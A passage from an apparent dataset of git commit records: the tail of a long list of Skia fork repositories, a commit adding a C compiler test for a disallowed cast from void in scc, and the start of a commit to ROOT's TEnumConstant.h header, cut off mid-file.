droid-ia\/platform_external_skia,nfxosp\/platform_external_skia,sudosurootdev\/external_skia,Infinitive-OS\/platform_external_skia,MIPS\/external-chromium_org-third_party-skia,byterom\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,ctiao\/platform-external-skia,TeslaProject\/external_skia,sombree\/android_external_skia,SlimSaber\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,noselhq\/skia,suyouxin\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,samuelig\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,TeamExodus\/external_skia,AOSPA-L\/android_external_skia,todotodoo\/skia,RadonX-ROM\/external_skia,Hikari-no-Tenshi\/android_external_skia,F-AOSP\/platform_external_skia,pcwalton\/skia,houst0nn\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,ominux\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,suyouxin\/android_external_skia,DiamondLovesYou\/skia-sys,OptiPop\/external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,InfinitiveOS\/external_skia,sombree\/android_external_skia,AOSPB\/external_skia,Jichao\/skia,temasek\/android_external_skia,google\/skia,F-AOSP\/platform_external_skia,SlimSaber\/android_external_skia,MinimalOS\/android_external_skia,aosp-mirror\/platform_external_skia,TeamExodus\/external_skia,MinimalOS-AOSP\/platform_external_skia,TeslaOS\/android_external_skia,HalCanary\/skia-hc,xin3liang\/platform_external_chromium_org_third_party_skia,boulzordev\/android_external_skia,houst0nn\/external_skia,AsteroidOS\/android_external_skia,Hybrid-Rom\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,noselhq\/skia,SlimSaber\/android_external_skia,todotodoo\/skia,Fusion-Rom\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,VRToxin-AOSP\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,MinimalOS\/android_external_skia,MinimalOS\/android_external_skia,boulzordev\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,Android-AOSP\/external_skia,temasek\/android_external_skia,TeslaOS\/android_external_skia,invisiblek\/android_external_skia,TeamExodus\/external_skia,sudosurootdev\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,TeamEOS\/external_skia,AOSPB\/external_skia,VRToxin-AOSP\/android_external_skia,GladeRom\/android_external_skia,aospo\/platform_external_skia,tmpvar\/skia.cc,HalCanary\/skia-hc,qrealka\/skia-hc,TeslaOS\/android_external_skia,pcwalton\/skia,AOSP-YU\/platform_external_skia,aosp-mirror\/platform_external_skia,fire855\/android_external_skia,F-AOSP\/platform_external_skia,AndroidOpenDevelopment\/android_external_skia,Khaon\/android_external_skia,Asteroid-Project\/android_external_skia,codeaurora-unoffical\/platform-external-skia,OptiPop\/external_skia,nox\/skia,pacerom\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,sudosurootdev\/external_skia,mmatyas\/skia,DesolationStaging\/android_external_skia,temasek\/android_external_skia,ominux\/skia,MyAOSP\/external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Android-AOSP\/external_skia,zhaochengw\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,F-AOSP\/platform_external_skia,mydongistiny\/android_external_skia,Purity-Lollipop\/platform_external_skia,BrokenROM\/external_skia,temasek\/android_external_skia,NamelessRom\/android_external_skia,noselhq\/skia,byterom\/android_external_skia,samuelig\/skia,DARKPOP\/external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,HealthyHoney\/temasek_SKIA,ench0\/external_chromium_org_third_party_skia,nox\/skia,Fusion-Rom\/android_external_skia,larsbergstrom\/skia,MinimalOS\/external_skia,TeamExodus\/external_skia,nvoron23\/skia,Tesla-Redux\/android_external_skia,nox\/skia,FusionSP\/android_external_skia,ctiao\/platform-external-skia,pacerom\/external_skia,NamelessRom\/android_external_skia,HalCanary\/skia-hc,Pure-Aosp\/android_external_skia,ominux\/skia,VentureROM-L\/android_external_skia,Hybrid-Rom\/external_skia,noselhq\/skia,ench0\/external_skia,VRToxin-AOSP\/android_external_skia,Fusion-Rom\/android_external_skia,AOSP-YU\/platform_external_skia,Igalia\/skia,android-ia\/platform_external_skia,AOSP-YU\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,todotodoo\/skia,aosp-mirror\/platform_external_skia,MinimalOS\/android_external_skia,sigysmund\/platform_external_skia,scroggo\/skia,Tesla-Redux\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,AOSPU\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,todotodoo\/skia,Omegaphora\/external_skia,MinimalOS-AOSP\/platform_external_skia,VentureROM-L\/android_external_skia,boulzordev\/android_external_skia,TeamTwisted\/external_skia,sudosurootdev\/external_skia,Jichao\/skia,mmatyas\/skia,MIPS\/external-chromium_org-third_party-skia,VentureROM-L\/android_external_skia,TeamBliss-LP\/android_external_skia,invisiblek\/android_external_skia,noselhq\/skia,YUPlayGodDev\/platform_external_skia,AOSPB\/external_skia,chenlian2015\/skia_from_google,shahrzadmn\/skia,HalCanary\/skia-hc,Infinitive-OS\/platform_external_skia,aosp-mirror\/platform_external_skia,Plain-Andy\/android_platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,shahrzadmn\/skia,YUPlayGodDev\/platform_external_skia,ominux\/skia,mydongistiny\/external_chromium_org_third_party_skia,Android-AOSP\/external_skia,Plain-Andy\/android_platform_external_skia,scroggo\/skia,AOSPA-L\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,HalCanary\/skia-hc,xzzz9097\/android_external_skia,DesolationStaging\/android_external_skia,OptiPop\/external_skia,nvoron23\/skia,sudosurootdev\/external_skia,w3nd1go\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Khaon\/android_external_skia,chenlian2015\/skia_from_google,akiss77\/skia,sigysmund\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,w3nd1go\/android_external_skia,Asteroid-Project\/android_external_skia,mydongistiny\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,Infusion-OS\/android_external_skia,zhaochengw\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,Asteroid-Project\/android_external_skia,AOSPB\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,MinimalOS\/external_skia,AsteroidOS\/android_external_skia,InfinitiveOS\/external_skia,byterom\/android_external_skia,PAC-ROM\/android_external_skia,codeaurora-unoffical\/platform-external-skia,FusionSP\/external_chromium_org_third_party_skia,AOSPA-L\/android_external_skia,DesolationStaging\/android_external_skia,xzzz9097\/android_external_skia,Asteroid-Project\/android_external_skia,TeamEOS\/external_skia,SlimSaber\/android_external_skia,MinimalOS\/android_external_skia,TeamBliss-LP\/android_external_skia,MinimalOS\/external_skia,jtg-gg\/skia,DiamondLovesYou\/skia-sys,geekboxzone\/mmallow_external_skia,Jichao\/skia,Infinitive-OS\/platform_external_skia,DiamondLovesYou\/skia-sys,akiss77\/skia,MarshedOut\/android_external_skia,AOSP-YU\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,ench0\/external_skia,mmatyas\/skia,w3nd1go\/android_external_skia,Hybrid-Rom\/external_skia,FusionSP\/android_external_skia,AOSPB\/external_skia,google\/skia,akiss77\/skia,mmatyas\/skia,DARKPOP\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,Plain-Andy\/android_platform_external_skia,pcwalton\/skia,Pure-Aosp\/android_external_skia,houst0nn\/external_skia,Euphoria-OS-Legacy\/android_external_skia,ench0\/external_skia,RadonX-ROM\/external_skia,YUPlayGodDev\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,android-ia\/platform_external_skia,aosp-mirror\/platform_external_skia,Android-AOSP\/external_skia,ench0\/external_skia,AOSPU\/external_chromium_org_third_party_skia,scroggo\/skia,amyvmiwei\/skia,mozilla-b2g\/external_skia,Fusion-Rom\/android_external_skia,NamelessRom\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,suyouxin\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,MinimalOS\/external_skia,jtg-gg\/skia,CyanogenMod\/android_external_chromium_org_third_party_skia,xzzz9097\/android_external_skia,w3nd1go\/android_external_skia,tmpvar\/skia.cc,YUPlayGodDev\/platform_external_skia,VentureROM-L\/android_external_skia,SlimSaber\/android_external_skia,MarshedOut\/android_external_skia,Pure-Aosp\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,BrokenROM\/external_skia,vanish87\/skia,MinimalOS\/external_skia,zhaochengw\/platform_external_skia,Plain-Andy\/android_platform_external_skia,akiss77\/skia,mozilla-b2g\/external_skia,RadonX-ROM\/external_skia,Hybrid-Rom\/external_skia,YUPlayGodDev\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,noselhq\/skia,aospo\/platform_external_skia,MIPS\/external-chromium_org-third_party-skia,PAC-ROM\/android_external_skia,DesolationStaging\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,Omegaphora\/external_skia,AOSP-YU\/platform_external_skia,VentureROM-L\/android_external_skia,Purity-Lollipop\/platform_external_skia,SlimSaber\/android_external_skia,larsbergstrom\/skia,GladeRom\/android_external_skia,timduru\/platform-external-skia,FusionSP\/external_chromium_org_third_party_skia,aospo\/platform_external_skia,MarshedOut\/android_external_skia,samuelig\/skia,ctiao\/platform-external-skia,Samsung\/skia,DiamondLovesYou\/skia-sys,MinimalOS\/external_skia,rubenvb\/skia,qrealka\/skia-hc,OptiPop\/external_skia,AndroidOpenDevelopment\/android_external_skia,Igalia\/skia,amyvmiwei\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,qrealka\/skia-hc,android-ia\/platform_external_chromium_org_third_party_skia,GladeRom\/android_external_skia,MonkeyZZZZ\/platform_external_skia,FusionSP\/android_external_skia,MonkeyZZZZ\/platform_external_skia,AsteroidOS\/android_external_skia,OneRom\/external_skia,ench0\/external_chromium_org_third_party_skia,larsbergstrom\/skia,codeaurora-unoffical\/platform-external-skia,MarshedOut\/android_external_skia,tmpvar\/skia.cc,MonkeyZZZZ\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,tmpvar\/skia.cc,OptiPop\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,Khaon\/android_external_skia,TeamExodus\/external_skia,Samsung\/skia,xzzz9097\/android_external_skia,google\/skia,spezi77\/android_external_skia,amyvmiwei\/skia,Tesla-Redux\/android_external_skia,AOSPA-L\/android_external_skia,fire855\/android_external_skia,codeaurora-unoffical\/platform-external-skia,VRToxin-AOSP\/android_external_skia,OneRom\/external_skia,google\/skia,TeamTwisted\/external_skia,TeamBliss-LP\/android_external_skia,suyouxin\/android_external_skia,HealthyHoney\/temasek_SKIA,rubenvb\/skia,TeslaOS\/android_external_skia,timduru\/platform-external-skia,temasek\/android_external_skia,vanish87\/skia,chenlian2015\/skia_from_google,RadonX-ROM\/external_skia,vvuk\/skia,nfxosp\/platform_external_skia,invisiblek\/android_external_skia,android-ia\/platform_external_skia,TeamExodus\/external_skia,NamelessRom\/android_external_skia,mydongistiny\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,InfinitiveOS\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,Hybrid-Rom\/external_skia,OneRom\/external_skia,Euphoria-OS-Legacy\/android_external_skia,InfinitiveOS\/external_skia,HalCanary\/skia-hc,Infusion-OS\/android_external_skia,nfxosp\/platform_external_skia,aosp-mirror\/platform_external_skia,mozilla-b2g\/external_skia,wildermason\/external_skia,zhaochengw\/platform_external_skia,RadonX-ROM\/external_skia,AOSP-YU\/platform_external_skia,google\/skia,Euphoria-OS-Legacy\/android_external_skia,HealthyHoney\/temasek_SKIA,MonkeyZZZZ\/platform_external_skia,Infusion-OS\/android_external_skia,aospo\/platform_external_skia,MarshedOut\/android_external_skia,MinimalOS\/external_skia,Jichao\/skia,google\/skia,byterom\/android_external_skia,vanish87\/skia,vvuk\/skia,Igalia\/skia,larsbergstrom\/skia,houst0nn\/external_skia,tmpvar\/skia.cc,Purity-Lollipop\/platform_external_skia,Omegaphora\/external_chromium_org_third_party_skia,GladeRom\/android_external_skia,AsteroidOS\/android_external_skia,AOSPA-L\/android_external_skia,pcwalton\/skia,AsteroidOS\/android_external_skia,nfxosp\/platform_external_skia,Khaon\/android_external_skia,RadonX-ROM\/external_skia,AOSPB\/external_skia,timduru\/platform-external-skia,AOSPU\/external_chromium_org_third_party_skia,scroggo\/skia,ench0\/external_chromium_org_third_party_skia,byterom\/android_external_skia,chenlian2015\/skia_from_google,Jichao\/skia,larsbergstrom\/skia,RadonX-ROM\/external_skia,AOSPU\/external_chromium_org_third_party_skia,invisiblek\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,timduru\/platform-external-skia,FusionSP\/android_external_skia,pacerom\/external_skia,nvoron23\/skia,AsteroidOS\/android_external_skia,sigysmund\/platform_external_skia,ench0\/external_skia,InfinitiveOS\/external_skia,w3nd1go\/android_external_skia,Samsung\/skia,nox\/skia,w3nd1go\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,boulzordev\/android_external_skia,temasek\/android_external_skia,Samsung\/skia,MinimalOS\/android_external_skia,VentureROM-L\/android_external_skia,chenlian2015\/skia_from_google,YUPlayGodDev\/platform_external_skia,TeamEOS\/external_skia,geekboxzone\/mmallow_external_skia,OneRom\/external_skia,vanish87\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Plain-Andy\/android_platform_external_skia,Igalia\/skia,Tesla-Redux\/android_external_skia,geekboxzone\/mmallow_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,mmatyas\/skia,TeslaOS\/android_external_skia,BrokenROM\/external_skia,rubenvb\/skia,MinimalOS\/external_chromium_org_third_party_skia,invisiblek\/android_external_skia,qrealka\/skia-hc,RadonX-ROM\/external_skia,ctiao\/platform-external-skia,TeslaProject\/external_skia,akiss77\/skia,Omegaphora\/external_skia,ench0\/external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,mmatyas\/skia,sombree\/android_external_skia,DesolationStaging\/android_external_skia,Hybrid-Rom\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,qrealka\/skia-hc,F-AOSP\/platform_external_skia,OptiPop\/external_skia,byterom\/android_external_skia,shahrzadmn\/skia,Hikari-no-Tenshi\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,timduru\/platform-external-skia,Fusion-Rom\/android_external_skia,ench0\/external_chromium_org_third_party_skia,nox\/skia,UBERMALLOW\/external_skia,sombree\/android_external_skia,Android-AOSP\/external_skia,aospo\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,TeamEOS\/external_skia,geekboxzone\/lollipop_external_skia,vvuk\/skia,TeamBliss-LP\/android_external_skia,MonkeyZZZZ\/platform_external_skia,geekboxzone\/lollipop_external_skia,sigysmund\/platform_external_skia,AOSPA-L\/android_external_skia,mozilla-b2g\/external_skia,PAC-ROM\/android_external_skia,temasek\/android_external_skia,TeslaOS\/android_external_skia,aosp-mirror\/platform_external_skia,Tesla-Redux\/android_external_skia,sigysmund\/platform_external_skia,jtg-gg\/skia,NamelessRom\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Khaon\/android_external_skia,larsbergstrom\/skia,byterom\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,Asteroid-Project\/android_external_skia,wildermason\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Igalia\/skia,geekboxzone\/lollipop_external_skia,amyvmiwei\/skia,mydongistiny\/android_external_skia,shahrzadmn\/skia,OptiPop\/external_skia,OneRom\/external_skia,Asteroid-Project\/android_external_skia,PAC-ROM\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,VentureROM-L\/android_external_skia,wildermason\/external_skia,vanish87\/skia,Pure-Aosp\/android_external_skia,nfxosp\/platform_external_skia,akiss77\/skia,MarshedOut\/android_external_skia,MinimalOS\/android_external_skia,Asteroid-Project\/android_external_skia,pcwalton\/skia,nvoron23\/skia,noselhq\/skia,Infinitive-OS\/platform_external_skia,geekboxzone\/mmallow_external_skia,MIPS\/external-chromium_org-third_party-skia,timduru\/platform-external-skia,Tesla-Redux\/android_external_skia,TeslaProject\/external_skia,nfxosp\/platform_external_skia,Plain-Andy\/android_platform_external_skia,boulzordev\/android_external_skia,todotodoo\/skia,codeaurora-unoffical\/platform-external-skia,android-ia\/platform_external_skia,HealthyHoney\/temasek_SKIA,TeamEOS\/external_skia,timduru\/platform-external-skia,nfxosp\/platform_external_skia,chenlian2015\/skia_from_google,MinimalOS\/external_chromium_org_third_party_skia,Jichao\/skia,MinimalOS\/external_chromium_org_third_party_skia,ctiao\/platform-external-skia,Omegaphora\/external_skia,suyouxin\/android_external_skia,TeslaProject\/external_skia,geekboxzone\/lollipop_external_skia,MinimalOS-AOSP\/platform_external_skia,TeamBliss-LP\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,spezi77\/android_external_skia,nox\/skia,samuelig\/skia,mydongistiny\/android_external_skia,w3nd1go\/android_external_skia,mozilla-b2g\/external_skia,suyouxin\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,NamelessRom\/android_external_skia,pacerom\/external_skia,UBERMALLOW\/external_skia,android-ia\/platform_external_skia,xzzz9097\/android_external_skia,qrealka\/skia-hc,ench0\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,rubenvb\/skia,google\/skia,amyvmiwei\/skia,AOSPA-L\/android_external_skia,sudosurootdev\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,Purity-Lollipop\/platform_external_skia,nox\/skia,Infusion-OS\/android_external_skia,mozilla-b2g\/external_skia,YUPlayGodDev\/platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,jtg-gg\/skia,Infusion-OS\/android_external_skia,spezi77\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,GladeRom\/android_external_skia,suyouxin\/android_external_skia,Omegaphora\/external_skia,HalCanary\/skia-hc,geekboxzone\/lollipop_external_skia,vvuk\/skia,Jichao\/skia,wildermason\/external_skia,AndroidOpenDevelopment\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Purity-Lollipop\/platform_external_skia,tmpvar\/skia.cc,MarshedOut\/android_external_skia,houst0nn\/external_skia,nvoron23\/skia,spezi77\/android_external_skia,shahrzadmn\/skia,jtg-gg\/skia,mydongistiny\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,ctiao\/platform-external-skia,OneRom\/external_skia,sigysmund\/platform_external_skia,AOSP-YU\/platform_external_skia,UBERMALLOW\/external_skia,Khaon\/android_external_skia,zhaochengw\/platform_external_skia,aospo\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,android-ia\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,invisiblek\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,sombree\/android_external_skia,DiamondLovesYou\/skia-sys,mmatyas\/skia,Igalia\/skia,GladeRom\/android_external_skia,jtg-gg\/skia,rubenvb\/skia,MinimalOS\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,vvuk\/skia,todotodoo\/skia,amyvmiwei\/skia,CyanogenMod\/android_external_chromium_org_third_party_skia,google\/skia,geekboxzone\/mmallow_external_skia,tmpvar\/skia.cc,OptiPop\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,MinimalOS\/external_skia,UBERMALLOW\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,TeamTwisted\/external_skia,Infusion-OS\/android_external_skia,nfxosp\/platform_external_skia,xzzz9097\/android_external_skia,SlimSaber\/android_external_skia,MonkeyZZZZ\/platform_external_skia,DARKPOP\/external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,samuelig\/skia,spezi77\/android_external_skia,Samsung\/skia,larsbergstrom\/skia,Purity-Lollipop\/platform_external_skia,TeamEOS\/external_skia,vanish87\/skia,boulzordev\/android_external_skia,geekboxzone\/mmallow_external_skia,ominux\/skia,TeslaProject\/external_skia,HalCanary\/skia-hc,geekboxzone\/mmallow_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Android-AOSP\/external_skia,pcwalton\/skia,Samsung\/skia,vanish87\/skia,android-ia\/platform_external_chromium_org_third_party_skia,GladeRom\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,qrealka\/skia-hc,pacerom\/external_skia,rubenvb\/skia,google\/skia,invisiblek\/android_external_skia,Jichao\/skia,byterom\/android_external_skia,AOSPB\/external_skia,UBERMALLOW\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,larsbergstrom\/skia,mydongistiny\/android_external_skia,Hybrid-Rom\/external_skia,AsteroidOS\/android_external_skia,MarshedOut\/android_external_skia,nvoron23\/skia,geekboxzone\/mmallow_external_skia,scroggo\/skia,boulzordev\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,aosp-mirror\/platform_external_skia,Tesla-Redux\/android_external_skia,Infusion-OS\/android_external_skia,FusionSP\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,TeamEOS\/external_skia,ench0\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,fire855\/android_external_skia,ench0\/external_chromium_org_third_party_skia,nvoron23\/skia,mmatyas\/skia,Infinitive-OS\/platform_external_skia,Pure-Aosp\/android_external_skia,YUPlayGodDev\/platform_external_skia,VentureROM-L\/android_external_skia,TeamExodus\/external_skia,fire855\/android_external_skia,DesolationStaging\/android_external_skia,vvuk\/skia,Purity-Lollipop\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Khaon\/android_external_skia,mydongistiny\/android_external_skia,sombree\/android_external_skia,larsbergstrom\/skia,AndroidOpenDevelopment\/android_external_skia,wildermason\/external_skia,todotodoo\/skia,TeamTwisted\/external_skia,boulzordev\/android_external_skia,ctiao\/platform-external-skia,MinimalOS-AOSP\/platform_external_skia,PAC-ROM\/android_external_skia,aosp-mirror\/platform_external_skia,tmpvar\/skia.cc,sudosurootdev\/external_skia,DiamondLovesYou\/skia-sys,HealthyHoney\/temasek_SKIA,scroggo\/skia,Omegaphora\/external_skia,SlimSaber\/android_external_skia,rubenvb\/skia,F-AOSP\/platform_external_skia,AsteroidOS\/android_external_skia,AOSP-YU\/platform_external_skia,sudosurootdev\/external_skia,pacerom\/external_skia,HealthyHoney\/temasek_SKIA,codeaurora-unoffical\/platform-external-skia,noselhq\/skia,sigysmund\/platform_external_skia,vvuk\/skia,Hikari-no-Tenshi\/android_external_skia,AOSPB\/external_skia,w3nd1go\/android_external_skia,geekboxzone\/lollipop_external_skia,AOSPA-L\/android_external_skia,todotodoo\/skia,Omegaphora\/external_chromium_org_third_party_skia,invisiblek\/android_external_skia,F-AOSP\/platform_external_skia,TeamTwisted\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,OptiPop\/external_skia,Jichao\/skia,MinimalOS-AOSP\/platform_external_skia,amyvmiwei\/skia,Omegaphora\/external_skia,TeamBliss-LP\/android_external_skia,ench0\/external_chromium_org_third_party_skia,samuelig\/skia,TeslaProject\/external_skia,shahrzadmn\/skia,TeslaOS\/android_external_skia,Samsung\/skia,FusionSP\/android_external_skia,wildermason\/external_skia,zhaochengw\/platform_external_skia,Samsung\/skia,aospo\/platform_external_skia,shahrzadmn\/skia,UBERMALLOW\/external_skia,google\/skia,fire855\/android_external_skia,VRToxin-AOSP\/android_external_skia,HalCanary\/skia-hc,sombree\/android_external_skia,TeamTwisted\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,nox\/skia,OneRom\/external_skia,UBERMALLOW\/external_skia,OptiPop\/external_skia,PAC-ROM\/android_external_skia,boulzordev\/android_external_skia,mozilla-b2g\/external_skia,TeamExodus\/external_skia,Euphoria-OS-Legacy\/android_external_skia,ominux\/skia,houst0nn\/external_skia,akiss77\/skia,temasek\/android_external_skia,BrokenROM\/external_skia,noselhq\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,HalCanary\/skia-hc,BrokenROM\/external_skia,tmpvar\/skia.cc,ominux\/skia,jtg-gg\/skia,MyAOSP\/external_chromium_org_third_party_skia,Igalia\/skia,MarshedOut\/android_external_skia,Infinitive-OS\/platform_external_skia,geekboxzone\/lollipop_external_skia,AOSPB\/external_skia,Omegaphora\/external_skia,NamelessRom\/android_external_skia,InfinitiveOS\/external_skia,scroggo\/skia,spezi77\/android_external_skia,TeslaProject\/external_skia,TeamTwisted\/external_skia,BrokenROM\/external_skia,sombree\/android_external_skia,ominux\/skia,TeslaProject\/external_skia,todotodoo\/skia,Fusion-Rom\/android_external_skia,Igalia\/skia"}
{"commit":"6a436d0cc010b4e281d3fb5c0adcffca6175f536","old_file":"cc1\/tests\/test042.c","new_file":"cc1\/tests\/test042.c","old_contents":"","new_contents":"\/*\nname: TEST042\ndescription: Test for bug parsing ternary operators\noutput:\ntest042.c:19: error: bad type convertion requested\nF1\tI\nG2\tF1\tmain\n{\n\\\nF3\t0\nX4\tF3\tf\n*\/\n\nint\nmain(void)\n{\n        void f(void);\n\n        return (int) f();\n}\n","subject":"Add test for casting from void","message":"Add test for casting from void\n\nThis cast is not allowed, because there is no value\nto cast.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/kcc"}
{"commit":"2c063183a172e9f42e174b2741d532b240effd46","old_file":"core\/meta\/inc\/TEnumConstant.h","new_file":"core\/meta\/inc\/TEnumConstant.h","old_contents":"\/\/ @(#)root\/meta:$Id$\n\/\/ Author: Bianca-Cristina Cristescu   09\/07\/13\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TEnumConstant\n#define ROOT_TEnumConstant\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TEnumConstant                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ TEnumConstant class defines a constant in the TEnum type.            \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_TGlobal\n#include \"TGlobal.h\"\n#endif\n\nclass TEnum;\n\nclass TEnumConstant : public TGlobal {\nprivate:\n   const TEnum       *fEnum;  \/\/the enum type\n   Long64_t           fValue; \/\/the value for the constant\n\npublic:\n   TEnumConstant(): fEnum(0), fValue(-1) {}\n   TEnumConstant(DataMemberInfo_t *info, const char* name, Long64_t value, TEnum* type);\n   virtual ~TEnumConstant();\n\n   virtual void *GetAddress() const { return (void*)fValue; }\n   Long64_t      GetValue() const { return fValue; }\n   const TEnum  *GetType() const { return fEnum; }\n\n   ClassDef(TEnumConstant,2)  \/\/Enum type constant\n};\n\n#endif\n","new_contents":"\/\/ @(#)root\/meta:$Id$\n\/\/ Author: Bianca-Cristina Cristescu   09\/07\/13\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TEnumConstant\n#define 